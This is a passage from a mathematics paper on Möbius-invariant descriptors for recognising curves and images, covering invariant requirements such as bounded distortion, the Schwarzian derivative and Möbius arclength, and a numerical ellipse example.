Petukhov \cite{petukhov1989non} for biological objects in fascinating detail in the context of Klein's Erlangen program\footnote{D'Arcy Wentworth Thompson \cite{thompson1942growth} famously deformed images of one species to match those of another; his theory of transformations is reviewed and interpreted in light of modern biology in \cite{arthur2006d}. In particular, it has given rise to image processing techniques such as {\em Large Deformation Diffeomorphic Metric Mapping $($LDDMM$)$} \cite{glaunes2008large}, in which images are compared modulo {\em infinite}-dimensional groups such as the dif\/feomorphism group. Petukhov writes that Thompson ``did not use the Erlanger program as the basis in this comparative analysis.'' However, the totality of Thompson's examples and the explanations in his text do indicate that in all cases he selected his transformations from the simplest group that would do an (in his view) acceptable job. Eight dif\/ferent groups are identif\/ied in \cite[Table~1]{marsland2013geodesic}; four are f\/inite-dimensional. Thus, whether consciously or not, Thompson's work was fully consistent with the Erlangen program. Of relevance to the present paper is that many of his examples use conformal mappings, and thus may be approximated (or even determined by) M\"obius transformations.}, giving examples of many body parts that are loxodromic to high accuracy (loxodromes have constant M\"obius curvature and play the role in M\"obius geometry that circles do in Euclidean geometry), that change shape by M\"obius and other Lie group actions, and that grow via M\"obius transformations (including 2D representations of the human skull). Other examples of 1-dimensional growth patterns, such as antenatal and postnatal human growth, appear to be well modelled by 1-dimensional linear-fractional transformations $x\mapsto (ax+b)/(cx+d)$. Discussing this work, Milnor~\cite{milnor2010growth} argued that ``The geometrically simplest way to change the relative size of dif\/ferent body parts would be by a~conformal transformation. It seems plausible that this simplest solution will often be the most ef\/f\/icient, so that natural selection tend to choose it''. (Milnor was thinking of~3D conformal transformations, whose restriction to~2D is the M\"obius transformations.)
\looseness=-1 In this paper we present an integral invariant for the 2D M\"{o}bius group that is reparameterization independent, and demonstrate its use to identify curves that are related by M\"{o}bius transformations. We then consider the case of images, and describe an invariant signature by which M\"{o}bius transformed images can be recognised. We begin in Section \ref{sec:invariants} by discussing the desirable properties of invariants for object classif\/ication, and introduce the property of bounded distortion, which subsumes most of the requirements identif\/ied in the literature. This is followed by an overview of the methods that have been used to give object classif\/ication invariants for curves and images (most often with respect to the Euclidean, similarity, and af\/f\/ine groups).
In Section \ref{sec:eg} we present the classical M\"obius invariants and discuss their utility with respect to the properties identif\/ied in Section~\ref{sec:invariants}, before using a numerical example based on an ellipse to demonstrate the dif\/ference between them. This is followed by the introduction of the invariant that we have identif\/ied as the best behaved for curves with respect to the requirements previously discussed. In order to demonstrate its utility, we present an experiment where a set of smooth Jordan curves are created, and then the invariant distance is computed, and compared with direct registration of each pair of curves in the M\"{o}bius group using the $H^1$ similarity metric. The results show that the invariant is well-behaved with respect to noise, and can be used to separate all but the most similar shapes.
In Section \ref{sec:images} we move on to images and demonstrate the use of a~3D M\"{o}bius signature that is very sensitive and relatively cheap to compute, while still being more robust than the analogous signature for curves. As far as we know, such dif\/ferential invariant signatures (in the sense of Olver~\cite{olver2001moving}) for images have not been considered previously.
\section{Invariants of shapes and images}\label{sec:invariants}
\subsection{Computational requirements of invariants for object classif\/ication}\label{sec:req}
The mathematical def\/inition of an invariant, namely, a $G$-invariant function on $M$, is not suf\/f\/iciently strong for many computational applications. For example, object classif\/ication via invariants involves comparing the values of the invariant on dif\/ferent $G$-orbits, and the def\/inition says nothing about this. Recognising this, Ghorbel~\cite{ghorbel1994complete} has given the following partial list of qualities needed for object recognition:
\begin{itemize}\itemsep=0pt
\item[(i)] fast computation;
\item[(ii)] good numerical approximation;
\item[(iii)] powerful discrimination (if two objects are far apart modulo $G$, their invariants should be far apart);
\item[(iv)] completeness (two objects should have the same invariants if\/f they are the same modulo~$G$);
\item[(v)] provide a $G$-invariant distance on $M$; and
\item[(vi)] stability (if two objects have nearby invariants, they should be nearby modulo~$G$).
\end{itemize}
Calabi et al.~\cite{calabi1998differential} include in (ii) the requirement that the numerical approximation itself should be $G$-invariant, while Abu-Mostafa et al.~\cite{abu1984recognitive} add the further desirable qualities of:
\begin{itemize}\itemsep=0pt
\item[(vii)] robustness (if two objects are nearby modulo $G$, especially when one is a noisy version of the other, their invariants should be nearby);
\item[(viii)] lack of redundancy (i.e., all invariants are independent); and
\item[(ix)] lack of suppression (in which the invariants are insensitive to some features of the objects).
\end{itemize}
Manay \cite{manay2006integral} includes, in addition:
\begin{itemize}\itemsep=0pt
\item[(x)] locality (which allows matching subparts and matching under occlusion).
\end{itemize}
To this already rather demanding list we add one more, that the set of invariants should be:
\begin{itemize}\itemsep=0pt
\item[(xi)] small.
\end{itemize}
\begin{figure}[t]\centering
\includegraphics[width=11.5cm]{diagram}
\caption{Sketch of the approximate relationships between $d_G(x,y)$, which measures the distance between two objects $x$ and $y$ modulo a symmetry group $G$, and $\|I(x)-I(y)\|$, which measures the distance between their invariants, illustrating the role of the desired properties of completeness, robustness, stability, and discrimination. In object recognition, `good discrimination' is sometimes taken to mean the avoidance of type I errors (relative to the null hypothesis that two objects are in the same group orbit, so that in a type~I error dissimilar objects are classif\/ied as similar), the avoidance of type~II errors (similar objects being classif\/ied as dissimilar), or is not specif\/ied; we take it to mean that both type~I and type~II errors are avoided.}\label{fig:diagram}
\end{figure}
The motivation for this last is purely a parsimony argument; it is easy to produce large sets of invariants without adding much utility, and smaller sets of easily computable invariants are to be preferred. This is particularly the case since some of these criteria are in conf\/lict, so there will usually not be one invariant that is preferred for all applications; instead, the best choice will depend on the dataset and the particular application. Others are closely related, especially discrimination, distance, stability, robustness, and suppression; these all depend on which features of the objects are deemed to be signal and which are deemed to be noise.
These criteria can be unif\/ied and quantif\/ied in the following way: suppose that a distance on objects has been chosen that measures the features that we are interested in (the signal), and that is small for dif\/ferences that we are not interested in (the noise). This distance induces a~distance on objects modulo~$G$ by (where $\| \cdot \|_d$ is some appropriately chosen norm):
\begin{gather*}
d_G(x, y) := \max\big(\inf_{g\in G} \|g\cdot x - y\|_{d},\, \inf_{g\in G}\|g\cdot y - x\|_{d}\big).
\end{gather*}
(In principle one can compute $d_G(x,y)$ by optimizing over $G$, and indeed this is done in many applications. However, optimization is relatively dif\/f\/icult and unreliable, and becomes impractical on large sets of objects; this is the step that invariants are intended to avoid.) Suppose that a norm on invariants $I\colon M\to \mathbb{R}^k$ has been chosen.
Then we can express the criteria as follows:
\begin{itemize}\itemsep=0pt
\item[(iii)] discrimination: $d_G(x,y)\gg \varepsilon \Leftrightarrow \|I(x)-I(y)\| \gg \varepsilon$,
\item[(iv)] completeness: $\|I(x)-I(y)\| = 0 \Rightarrow d_G(x,y)=0$,
\item[(vi)] stability: $\|I(x)-I(y)\| \lesssim \varepsilon \Rightarrow d_G(x,y) \lesssim \varepsilon$,
\item[(vii)] robustness: $d_G(x,y) \lesssim \varepsilon \Rightarrow \| I(x)-I(y) \| \lesssim \varepsilon$.
\end{itemize}
These may be subsumed and strengthened by the property of {\em bounded distortion}: an invariant has bounded distortion with respect to $d_G$ if there exist positive constants $c_1$, $c_2$ such that for all $x,y\in M$ we have
\begin{gather}\label{eq:boundeddistortion}
c_1 d_G(x,y) \le \| I(x) - I(y) \| \le c_2 d_G(x,y).
\end{gather}
Suppose the invariant is to be used to test the hypothesis that two objects are the same modulo symmetry group~$G$.
The situation is illustrated in Fig.~\ref{fig:diagram}, which plots the distance between the invariants of two objects against the distance between the objects modulo~$G$. The smaller the value of $c_2$, the more robust the invariant is, and the fewer false positives will be reported. The larger the value of~$c_1$, the more stable the invariant is, the better its discrimination, and the fewer false negatives will be reported. If~(\ref{eq:boundeddistortion}) holds only with $c_1=0$, the invariant is neither stable nor complete; if there is no~$c_2$ such that~(\ref{eq:boundeddistortion}) holds, the invariant is not robust. In addition, in some applications one may be more interested in some parts of the space shown in Fig.~\ref{fig:diagram} than others: for example, in discriminating very similar or very dissimilar objects.
In practice, bounded distortion may not be possible. Even completeness, the centrepiece of the mathematical theory of invariants, can be very demanding. It turns out that many invariants that are roughly described as `complete' are not fully complete, that is, they do not distinguish {\em all} group orbits, but only distinguish {\em almost all} group orbits. For example, Ghorbel's Euclidean invariants of grey-level images~\cite{ghorbel1994complete} only distinguish images in which two particular Fourier coef\/f\/icients are non-zero. Thus, it will be stable only on images in which these two Fourier coef\/f\/icients are bounded away from zero. The most commonly-used Euclidean signature of curves, $(\kappa,\kappa_s)$, is complete only on nondegenerate curves~\cite{hickman2012euclidean}. The fundamental issue is that even for very simple group actions, the space of orbits can be very complicated topologically, and thus very dif\/f\/icult (or even impossible) to coordinatize via invariants. We illustrate these ideas via an example:
\begin{Example}\label{ex:npts} Consider $n$ points $z_1,\dots,z_n$ in the complex plane. Let $G=S^1$ act by rotating the points, i.e., $e^{i\theta}\cdot(z_1,\dots,z_n) = (e^{i\theta}z_1,\dots,e^{i\theta} z_n)$. Then $\{\bar z_i z_j\colon 1\le i\le j \le n\}$ forms a~complete set of invariants. It is very large (there are $n^2$ real components) compared to the dimension $2n-1$ of the space, $\mathbb{C}^n / S^1$, in which we are trying to work. However, if any one real component of the set is omitted, the resulting set is not complete. For example, if $|z_1|^2$ is omitted, then the points $(1,0,\dots,0)$ and $(2,0,\dots,0)$ have the same invariants, but do not lie on the same orbit. This is the situation considered in the problem of {\em phase retrieval}~\cite{bandeira2014saving}. By choosing combinations of $\{\bar z_i z_j\}$ it is possible to create smaller sets of complete invariants, but the computational complexity of calculating the description of the $n$ points is still $\mathcal{O}(n^2)$~\cite{bandeira2014saving}.
\end{Example}
In cases where one settles for an incomplete set of invariants, or a set that is not of bounded distortion~-- so that the worst-case behaviour of the invariants is arbitrarily poor~-- it can make sense instead to study the average-case behaviour of the invariants over some distribution of the objects. This is analogous to the role that ill-posed and ill-conditioned problems play in numerical linear algebra, although in that case the ill-conditioning is intrinsic rather than imposed by considerations of computational complexity. Indeed, one can sometimes very usefully describe objects based on an extremely small number of invariants, for example, describing planar curves by their length and enclosed area, or by the f\/irst few Fourier moments of their curvature. What is wanted is to optimize the behaviour of the invariants, over some distribution of the objects, with respect to their time and/or space complexity. However, we know of no genuine cases in which such a program has been carried out.
\subsection{Invariants of curves}\label{sec:invariants2}
There is a large literature concerning invariants to the Euclidean and similarity groups for both curves and images. The purpose of this section is to provide an overview of the dominant themes within that work that are relevant to our goal of identifying invariants for the M\"{o}bius group that satisfy at least some of the criteria listed in the previous section.
We def\/ine a (closed) shape as the image of a function $\phi\colon S^1\to\mathbb{R}^2$. For dif\/ferent restrictions on $\phi$ this def\/ines dif\/ferent spaces: if $\phi$ is a continuous injective mapping then this def\/ines simple closed curves, while if $\phi$ is dif\/ferentiable and $\phi'(t)\ne 0$ for all $t$ this def\/ines the `shape space' $\operatorname{Imm}(S^1,\mathbb{R}^2)/\operatorname{Dif\/f}(S^1)$~\cite{Mumford98}, while if $\phi$ is an immersion and $\phi(S^1)$ is dif\/feomorphic to $S^1$, we obtain the shape space $\operatorname{Emb}(S^1,\mathbb{R}^2)/\operatorname{Dif\/f}(S^1)$ (roughly, the curve has no self-intersections). There are also smooth ($C^\infty$) versions of these, piecewise smooth versions, shapes of bounded variation, and so on. The geometry of these shape spaces is now studied intensively in its own right~\cite{michor1980manifolds,michor2007overview} as well as as a setting for computer vision; see~\cite{bauer2013overview} for a recent review.
The quotient by $\operatorname{Dif\/f}(S^1)$ in the shape spaces has the ef\/fect of factoring out the dependence on the parameterization. Various methods have been used to achieve this, including:
\begin{enumerate}\itemsep=0pt
\item Using a standard parameterization, such as Euclidean arclength. This leaves a dependence on the choice of starting point, i.e., the subgroup of $\operatorname{Dif\/f}(S^1)$ consisting of translations is not removed.
\item Moment invariants, $\int_0^L f(\phi(s))\, \mathrm{d} s$, where $L$ is the length of the curve, $s$ is Euclidean arclength and $f$ ranges over a set of basis functions, such as monomials or Fourier modes~\cite{abu1984recognitive}.
\item Currents $\int_{S^1} \phi^*\alpha$, where $\alpha$ ranges over a set of basis 1-forms on $\mathbb{R}^2$, such as monomials times $\mathrm{d} x$ and monomials times~$\mathrm{d} y$~\cite{glaunes2008large}.
\end{enumerate}
The next step is to consider a Lie group $G$ acting on $\mathbb{R}^2$ that induces an action on the shape space.
Here, many methods and types of invariants have been investigated (see, e.g.,~\cite{van1995vision}).
\begin{description}\itemsep=0pt
\item[The moving frame method] is a general approach to constructing invariants. Objects are put into a reference conf\/iguration and their resulting coordinates are then invariant. The mo\-ving frame or reference conf\/iguration method was developed as a way of {\em finding} dif\/ferential invariants and variants of them (see~\cite{Olver2005} for an overview). A~simple application of the method is the situation considered in Example~\ref{ex:npts}, of $n$ points in the plane under rotations. Consider conf\/igurations with $z_1\ne 0$, $|\arg z_1|<\pi$. Rotate the conf\/iguration so that~$z_1$ lies on the positive real axis. The coordinates of the resulting reference conf\/iguration, $\bar z_1 z_j / |z_1|^2$, are invariant. In this case, the invariants are well behaved as~$|\arg z_1|\to \pi$, but not as $z_1\to 0$.
\item[Joint invariants] are functions of several points; for example, pairwise distances for a complete set of joint invariants for the action of the Euclidean group on sets of points in the plane.
\item[Dif\/ferential invariants] are functions of the derivatives of a curve at a point. There exist algorithms to generate all dif\/ferential invariants~\cite{Olver2005}. For the action of the Euclidean group on planar curves, the Euclidean curvature $\kappa = \phi'\times \phi''/\|\phi'\|^3$ is $E(n)$ invariant (and parameterization invariant), and its derivatives $d^n\kappa/ds^n$ with respect to arclength form a~complete set of dif\/ferential invariants.
\item[Semi-dif\/ferential invariants] (also known as joint dif\/ferential invariants~\cite{olver01joint}) of a curve are functions of several points and derivatives.
\item[Integral invariants] are formed from the moments or the partial moments $\int_{s_0}^s f(\phi(t))\, \mathrm{d} t$. With some care they can be made parameterization- and basepoint-independent \cite{feng2010classification,manay2006integral}. Initially, these invariants appear to have some advantages, being relatively robust and often including some locality. However, they are not always applicable; for example \cite{manay2006integral}, which used regional integral invariants, still requires a point correspondence optimization in order to get a distance between shapes. In addition, groups such as the projective group do not act on any f\/inite subset of the moments \cite{van1995vision}. Astrom \cite{aastrom1994fundamental} shows that there are no stable projective invariants for closed planar curves. While local integral invariants are promising, as reported by~\cite{hann2002projective}, there may be analytic dif\/f\/iculties in deriving them.
\end{description}
Another example of the moving frame method, which is common in image processing and shape analysis, is centre of mass reduction. The centre of mass of a shape may be moved to the origin in order to remove the translations. This may be calculated by, for example, $\int_{\phi(S^1)}(x^2/2,x y) \mathrm{d} y = \iint_{\mathrm{int}\phi(S^1)}(x,y) \mathrm{d} x \mathrm{d} y$. However, the shapes $x = a + \sin t$, $y=0$ have centre of mass equal to 0 for all values of $a$, even though they are related by translations. Thus, this method would not be robust on any dataset that contained shapes approaching such degenerate shapes. For rotations, the reference conf\/iguration method will not be robust if there are objects close to having a discrete rotational symmetry. The underlying problem with the reference conf\/iguration approach is that it is attempting to use a set of invariants equal to the dimension of the desired quotient space $M/G$. This space is almost always non-Euclidean, so such a set can only be found on some subset of $M/G$ of Euclidean topology. The set is then robust only on datasets that are bounded away from the boundary of this subset.
\looseness=-1 Calabi et al.~\cite{calabi1998differential} propose the use of dif\/ferential invariant signatures for shape analysis, and further argue that these should be approximated in a group-invariant way. For example, for the Euclidean group, the signature is the shape $(\kappa,\kappa_s)$ regarded as a subset of $\mathbb{R}^2$. The claimed advantages of the approach are that the signature determines the shape; that it does not depend on the choice of initial point on the curve or on parameterization by arclength, and that its $G$-invariance makes it robust; and that it is based on a general procedure for arbitrary objects and groups. See \cite{aghayan2014planar, ames2002three,
calabi1998differential,
hoff2013extensions,
olver2001moving,
shakiban2004signature,
shakiban2005classification} for further developments and applications of the invariant signature.
Although the signature at f\/irst sight appears to be complete (e.g., Theorem~5.2 in \cite{calabi1998differential}), a~more detailed treatment (e.g., \cite{hickman2012euclidean, olver2000moving}) highlights the fact that it is not complete on shapes that contain singular parts~-- straight and circular segments in the Euclidean case. For these parts, the signature reduces to a point. Thus, for shapes that have {\em nearly} straight or nearly circular segments, the signature cannot be robust. In addition, while the signature does not depend on the starting point or the parameterization, it takes values in a very complicated set, namely, the planar shapes. To compare the invariants of two shapes requires comparing two shapes. Essentially, the parameterization-dependence has only been deferred to a later stage of the analysis (unless one is content to compare shapes visually). One approach to this is to weight the signature, see~\cite{olver15groupoid} for more details.
\looseness=-1 The claim in \cite{calabi1998differential} that the method's $G$-invariance makes it robust should be assessed through further analysis and experiment. It would appear to be most relevant for datasets in which the errors due to the presentations of the shapes are comparable to those resulting from the errors in the shapes themselves (i.e., noise) and from the distribution of the objects in a classif\/ication problem.
Their f\/inal point, that the method is extremely general, is a powerful one. Calabi~\cite{calabi1998differential} carry out the procedure for the Euclidean and for the 2D af\/f\/ine group. However in Section~6.7 they report that ``the interpolation equations in general are transcendentally nonlinear and do not admit a readily explicit solution'', indicating that the method may not succeed for all group actions.
It is also possible to represent the shape as a binary image and apply image-based invariants (which are described next). This has the advantage of working directly in the space $\mathbb{R}^2$ on which the group acts, and avoiding all questions of parameterization, etc., but it does sacrif\/ice a lot of information about the shape. A related approach, which is popular in PDE-based method for curves, is to represent the shape as the level set of a smooth function $\phi\colon \mathbb{R}^2\to\mathbb{R}$. This is also parameterization-independent, and retains smoothness, but we have never seen it used in for constructing invariants.
\subsection{Invariants of images}\label{sec:iminv}
Most studies of image invariants has been based on grey-level images $f\colon\Omega\to[0,1]$, where $\Omega\subset\mathbb{R}^2$. The methods are primarily based on moments \cite{abu1984recognitive} or Fourier transforms \cite{ghorbel1994complete,kakarala2012bispectrum} of the images, and have been highly developed for the translation, Euclidean, and similarity groups, where the linearity of the action and the special structure of these Lie groups means that the approach is particularly fast and robust. Attempts have been made to extend the method of Fourier invariants to other groups. There is an harmonic analysis for many non-Abelian Lie groups, including, in fact, the M\"obius group \cite{taylor1990noncommutative}, as well as a general theory for compact non-commutative groups~\cite{Gauthier2008}. There are some applications of this theory to image processing \cite{kakarala2012bispectrum,turski2006computational} and to other problems in computational science. Fridman \cite{fridman2000numerical} discusses a Fourier transform for the hyperbolic group, the 3-dimensional subgroup of the M\"obius group that f\/ixes the unit disc. However, the theory appears not to have been developed to the point where it can be used as ef\/fectively as the standard Fourier invariants. Therefore, in this paper, in Section \ref{sec:images}, we develop a M\"obius invariant of images, based on a~dif\/ferential invariant signature of the image.
\section{M\"{o}bius invariants for curves}\label{sec:eg}
In this section we consider invariants of curves for the M\"{o}bius group, and derive one suitable for practical computation, demonstrating its application for a set of simple closed curves.
\subsection{Known M\"obius invariants}
The most well-known invariant of the M\"{o}bius group is the cross-ratio, also known as the {\em wurf}, which is based on the ratio of the distances between a set of 4 points:
\begin{gather*}
\mathrm{CR}(z_1,z_2,z_3,z_4) := \frac{(z_1-z_3)(z_2-z_4)}{(z_2-z_3)(z_1-z_4)},
\end{gather*}
where the invariance means that $\mathrm{CR}(Tz_1,Tz_2,Tz_3,Tz_4) = \mathrm{CR}(z_1,z_2,z_3,z_4)$ for M\"{o}bius transformation $T$.
Since the M\"obius group can send any triple of distinct points in $\overline{\mathbb{C}}$ into any other such triple, there are no joint invariants of~2 or~3 points; the orbits are the conf\/igurations consisting of~1,~2, and~3 distinct points. When $n>4$, the set of cross-ratios of any four of the points forms a~complete invariant.
For large numbers of points, this set of all cross-ratios has cardinality $\mathcal{O}(n^4)$ which is impractically large (although some may be eliminated using functional relations amongst the invariants, known as syzygies \cite{olver01joint}). However, if the dataset of shapes or images is tagged with a small number of clearly-def\/ined landmarks, then some subset of the set of cross-ratios may form a useful invariant. This is the method by which Petukhov \cite{petukhov1989non} was able to identify linear-fractional, M\"obius, and projective relationships in biological shapes. For untagged objects, automatic tagging may be possible using critical points (e.g., maxima and minima) of images, and their values; these are homomorphism- and hence M\"obius-invariant, and can be identif\/ied, even in the pre\-sence of noise, by the method of persistent homology~\cite{edelsbrunner2008persistent}. However, such invariants are clearly highly incomplete for shapes and images, and we do not study them further here.
In order to derive dif\/ferential invariants for the M\"obius group, the most useful starting point is the Schwarzian derivative
\begin{gather}\label{eq:schwarzian}
(Sz)(t) = \left( \frac{z''}{z'} \right)' - \frac{1}{2} \left( \frac{z''}{z'} \right)^2 = \frac{z'''}{z'} - \frac{3}{2} \left( \frac{z''}{z'} \right)^2.
\end{gather}
By an abuse of notation, which is standard in the literature (see, for example, the very readable~\cite{ahlfors1988cross}), the same formula~\eqref{eq:schwarzian} is used in three dif\/ferent situations: when $z\colon \mathbb{R}\to \mathbb{R}$ (used in studying linear-fractional mappings in real projective geometry); when $z\colon \overline{\mathbb{C}}\to \overline{\mathbb{C}}$ (used in stu\-dying complex analytic mappings); and when $z\colon M\to\overline{\mathbb{C}}$, $M$ a real 1-dimensional manifold (used in studying the M\"obius geometry of curves). We adopt the latter setting so that~$z'$ is the tangent to the curve. The Schwarzian derivative is then invariant under M\"obius transformations~$\phi$:
\begin{gather*}
S(\phi\circ z)(t) = S(\phi)(t)
\end{gather*}
and under reparameterizations $\psi\colon M\to M$ transforms as
\begin{gather*}
S (z \circ \psi) = (S (z) \circ \psi) \cdot (\psi')^2 + S (\psi),
\end{gather*}
where the last term is the {\em real} Schwarzian derivative. Therefore (where $\operatorname{Im}$ represents the imaginary part of a complex number)
\begin{gather*}
\operatorname{Im} S (z \circ \psi) = (\operatorname{Im} S (z) \circ \psi) \cdot (\psi')^2.
\end{gather*}
This can be used to construct a distinguished M\"obius-invariant parameterization of the curve. Let $\tilde z(\lambda) = z(t)$ where $\lambda=\psi(t)$. The parameter $\lambda$ will be chosen so that $\operatorname{Im} S(\tilde z) \equiv 1$. This gives
\begin{gather*}
\operatorname{Im} S(z) = \operatorname{Im} S(\tilde z\circ \psi) = (\operatorname{Im} S(\tilde z)\circ \psi) \cdot (\psi')^2 = (\psi')^2.
\end{gather*}
The choice $\psi'(t) = \sqrt{| \operatorname{Im} S(z)(t)|}$ achieves this while preserving the sense of the curve, while the choice $\psi'(t) = -\sqrt{| \operatorname{Im} S(z)(t)|}$ achieves it while reversing the sense. Put another way, the parameter
\begin{gather*}
\lambda = \int_{t_0}^t \sqrt{| \operatorname{Im} S(z)(t)|}
\end{gather*}
is invariant under M\"obius transformations and {\em almost} invariant under sense-preserving reparameterizations of $t$, which act as translations in $\lambda$ (because of the freedom to choose $t_0$). Equivalently, the 1-form
\begin{gather*}
\mathrm{d} \lambda = \sqrt{| \operatorname{Im} S(z)(t)|} \mathrm{d} t,
\end{gather*}
known as the M\"obius or inversive arclength, is M\"obius- and sense-preserving parameterization-invariant.
This is often stated in a form (originally due, according to Ahlfors \cite{ahlfors1988cross}, to Georg Pick) using the Euclidean curvature $\kappa$. If the curve is parameterized by Euclidean arclength $s$, then its tangent $\theta(s) = z'(s)/\|z'(s)\|$ and $\kappa(s) = \theta'(s)$. Dif\/ferentiating again leads to $\operatorname{Im} S(z)(s) = \kappa'(s)$, or
\begin{gather*}
\mathrm{d}\lambda = \sqrt{| \kappa'(s)| } {\rm d}s.
\end{gather*}
The 1-form $\mathrm{d}\lambda$ provides a useful discrete invariant, the M\"obius length $L$ of the curve
\begin{gather*}
L = \int_M \mathrm{d}\lambda.
\end{gather*}
The real part of $S(\tilde z)(\lambda)$ is now a parameterization-invariant M\"{o}bius invariant known as the inversive or M\"{o}bius curvature~\cite{Patterson1928}
\begin{gather*}
\kappa_{{\text{\tiny M\"ob}}} = \frac{4\kappa' (\kappa''' -\kappa^2 \kappa') - 5 (\kappa'')^2 }{8(\kappa')^3} ,
\end{gather*}
where $'$ denotes dif\/ferentiation with respect to arclength $s$.
The set of all dif\/ferential M\"{o}bius shape invariants is then $\mathrm{d}^n\kappa_{{\text{\tiny M\"ob}}}/ d\lambda^n$, $n\ge 0$. Following Calabi et al.~\cite{calabi1998differential}, two possible candidate invariants that could be used to recognize M\"obius shapes are the function $\kappa_{\text{\tiny M\"ob}}(\lambda)$ modulo translations and the signature $(\kappa_{\text{\tiny M\"ob}},\mathrm{d}\kappa_{\text{\tiny M\"ob}}/\mathrm{d}\lambda)(S^1)\subset\mathbb{R}^2$. These are complete on sections of shapes with no vertices (points where $\kappa'(s)=0$). However, since $\kappa_{\text{\tiny M\"ob}}$ requires the 5th derivative of the curve (third derivative of the curvature), it is not robust in the presence of noise, and we do not explore it further.
There are also invariants based on forms of higher degree. We give just one example, the {\em M\"obius energy}
\begin{gather}\label{eq:energy}
-\frac{1}{2}\iint_{M \times M} \frac{\sin\theta_u \sin\theta_v}{|v-u|^2}\mathrm{d} u\, \mathrm{d} v,
\end{gather}
introduced by O'Hara and Solanes \cite{o2010m}, see also the related Kerzman--Stein distance \cite{barrett2007cauchy}. Here $\mathrm{d} u$, $\mathrm{d} v$ are Euclidean arclength and $\theta_u$ (resp. $\theta_v$) is the angle between $v-u$ and $z'(u)$ (resp.~$v$). It represents a renormalization of the energy of particles on the curve, distributed evenly with respect to Euclidean arclength and interacting under an $r^{-4}$ potential. (The authors of \cite{o2010m} comment that ``due to divergence problems, almost nothing is known about integral geometry [i.e., about invariant dif\/ferential forms] under the M\"obius group''.) The M\"{o}bius energy has one distinguishing feature compared to the other invariants: its def\/inition depends only on the f\/irst derivative of the curve. The singularity at $u=v$ is removable, since the integrand obeys
\begin{gather*}
\frac{\sin\theta_u \sin\theta_v}{|v-u|^2} = \frac{1}{4}\kappa(u)\kappa(v)+\mathcal{O}(|v-u|).
\end{gather*}
Thus, the energy is def\/ined for $C^2$ curves, and even near the singularity it depends only on the curvature of the curve.
However, in numerical experiments we found the integrand of~\eqref{eq:energy} dif\/f\/icult to evaluate accurately and invariantly, particularly near the diagonal, while the double integral generated little improvement in robustness. The most negative feature of the energy is its cost: its evaluation apparently requires considering all pairs of points on a discrete curve. There is another reason why invariant 2-forms are less useful than invariant 1-forms like $\mathrm{d}\lambda$: invariant $k$-forms distinguish coordinates on $M^k$ only up to $k$-form- (i.e., volume-) preserving maps. These are inf\/inite-dimensional for $k>1$, but 1-dimensional for $k=1$: the coordinates are determined up to translations. For these reasons, we do not consider the energy, or related invariant 2-forms, any further.
Finally, M\"obius transformations map circles to circles, and thus critical points of Euclidean curvature (the `vertices' of the shape) are M\"obius invariants. The four vertex theorem states that all smooth curves have at least four vertices. The number of vertices is a discrete M\"obius invariant. Consequently, sections of shapes on which the Euclidean curvature is monotonic, and their M\"obius lengths, are M\"obius invariant.
\subsection{Example: Evaluating the M\"obius length of an ellipse}\label{sec:ellipse}
Having described a number of possible invariants, and ruled many of them out based on the criteria discussed in Section~\ref{sec:req}, we now provide a concrete example, illustrating and testing some of these constructions on the ellipse $z(t) = \cos 2 \pi t + 2 {\rm i} \sin 2 \pi t$, $0\le t\le 1$. The ellipse is discretized at $t_i = (i+1/4) h$, $i=0,\dots,n$, giving points $z_i = z(t_i)$, and the M\"obius arclength $\mathrm{d}\lambda$ is calculated in two ways:
\begin{itemize}\itemsep=0pt
\item From the {\em curvature} method, in which the Euclidean curvature $\kappa$ is calculated in a Eucli\-dean-invariant way\footnote{Following Calabi et al.~\cite{calabi1998differential}, let~$A$,~$B$,~$C$ be three points on a curve, and let $a=d(A,B)$, $b=d(B,C)$, and $c=d(C,A)$ be the Euclidean distances between them. Then the curvature of the circle interpolating~$A$,~$B$, and~$C$ is
\begin{gather*}
\kappa(A,B,C) = \pm 4\frac{\sqrt{s(s-a)(s-b)(s-c)}}{abc}.
\end{gather*}
}
by interpolating a circle through 3 adjacent points, and $\mathrm{d}\kappa/\mathrm{d} s$ by a~f\/inite dif\/ference, giving
\begin{gather}\label{eq:method1}
\mathrm{d}\lambda(t_{i+3/2}) \approx | \kappa(z_{i+1},z_{i+2},z_{i+3}) - \kappa(z_{i},z_{i+1},z_{i+2}) | (| z_{i+2}-z_{i+1}| ).
\end{gather}
\item From the {\em cross-ratio} method, using
\begin{gather}\label{eq:method2}
\mathrm{d}\lambda(t_{i+3/2}) \approx \sqrt{ 6 | \mathrm{Im}(\log(\mathrm{CR}(z_i,z_{i+1},z_{i+2},z_{i+3})))| }.
\end{gather}
\end{itemize}
\begin{figure}[t]\centering
\includegraphics[height=6.5cm]{ellipse}
\caption{The ellipse used as a test case, showing 50 points equally spaced with respect to M\"obius arclength.}\label{fig:ellipse}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=9.2cm]{ell2}
\caption{The M\"obius arclength density, $\mathrm{d}\lambda/\mathrm{d} t$, for the ellipse, and its errors when calculated by the two approximations (\ref{eq:method1}) and (\ref{eq:method2}).}\label{fig:ell2}
\end{figure}
Away from vertices (points where $\mathrm{d}\lambda = 0$), both of these are second-order f\/inite dif\/ference approximations to the M\"obius length $\int_{t_{i+1}}^{t_{i+2}}\mathrm{d}\lambda$ of the arc $z([t_{i+1},t_{i+2}])$, or, dividing by $h$, to its arclength density $\mathrm{d}\lambda/\mathrm{d} t$. This can be established by expanding the approximations in Taylor series\footnote{A related approximation is $\mathrm{d}\lambda(t_{i+3/2}) \approx \sqrt{\frac{9}{2} | \mathrm{Im}(\mathrm{CR}(z_i,z_{i+1},z_{i+2},z_{i+3}))| }$. This is given in~\cite{barrett2007cauchy} but with an apparent error ($\frac{9}{2}$ replaced by~6).}. We test their accuracy as a function of the step size~$h$. The total M\"obius length of the curve is
\begin{gather*}
L := \int_0^1 d\lambda = \int_0^1 \frac{12\pi \sqrt{| \sin 4\pi t|} }{5+3 \cos 4\pi t}\, \mathrm{d} t = 6.86\quad (\mbox{to } 2 \mbox{ d.p.}).
\end{gather*}
The arclength density $\mathrm{d}\lambda/\mathrm{d} t$ is shown in Fig.~\ref{fig:ell2}, showing its 4 zeros at the vertices of the ellipse, where the ellipse is approximately circular, and its square-root singularities at the vertices. The M\"obius length is approximated by the trapezoidal rule, i.e., by $L_h := \sum\limits_{i=1}^n \mathrm{d}\lambda(t_{i+1/2})$. The error $L-L_h$ is expected to have dominant contributions of order $h^{3/2}$, due to the singularities at the vertices, and of order $h^2$, due to the f\/inite dif\/ferences used to approximate~$\mathrm{d}\lambda$.
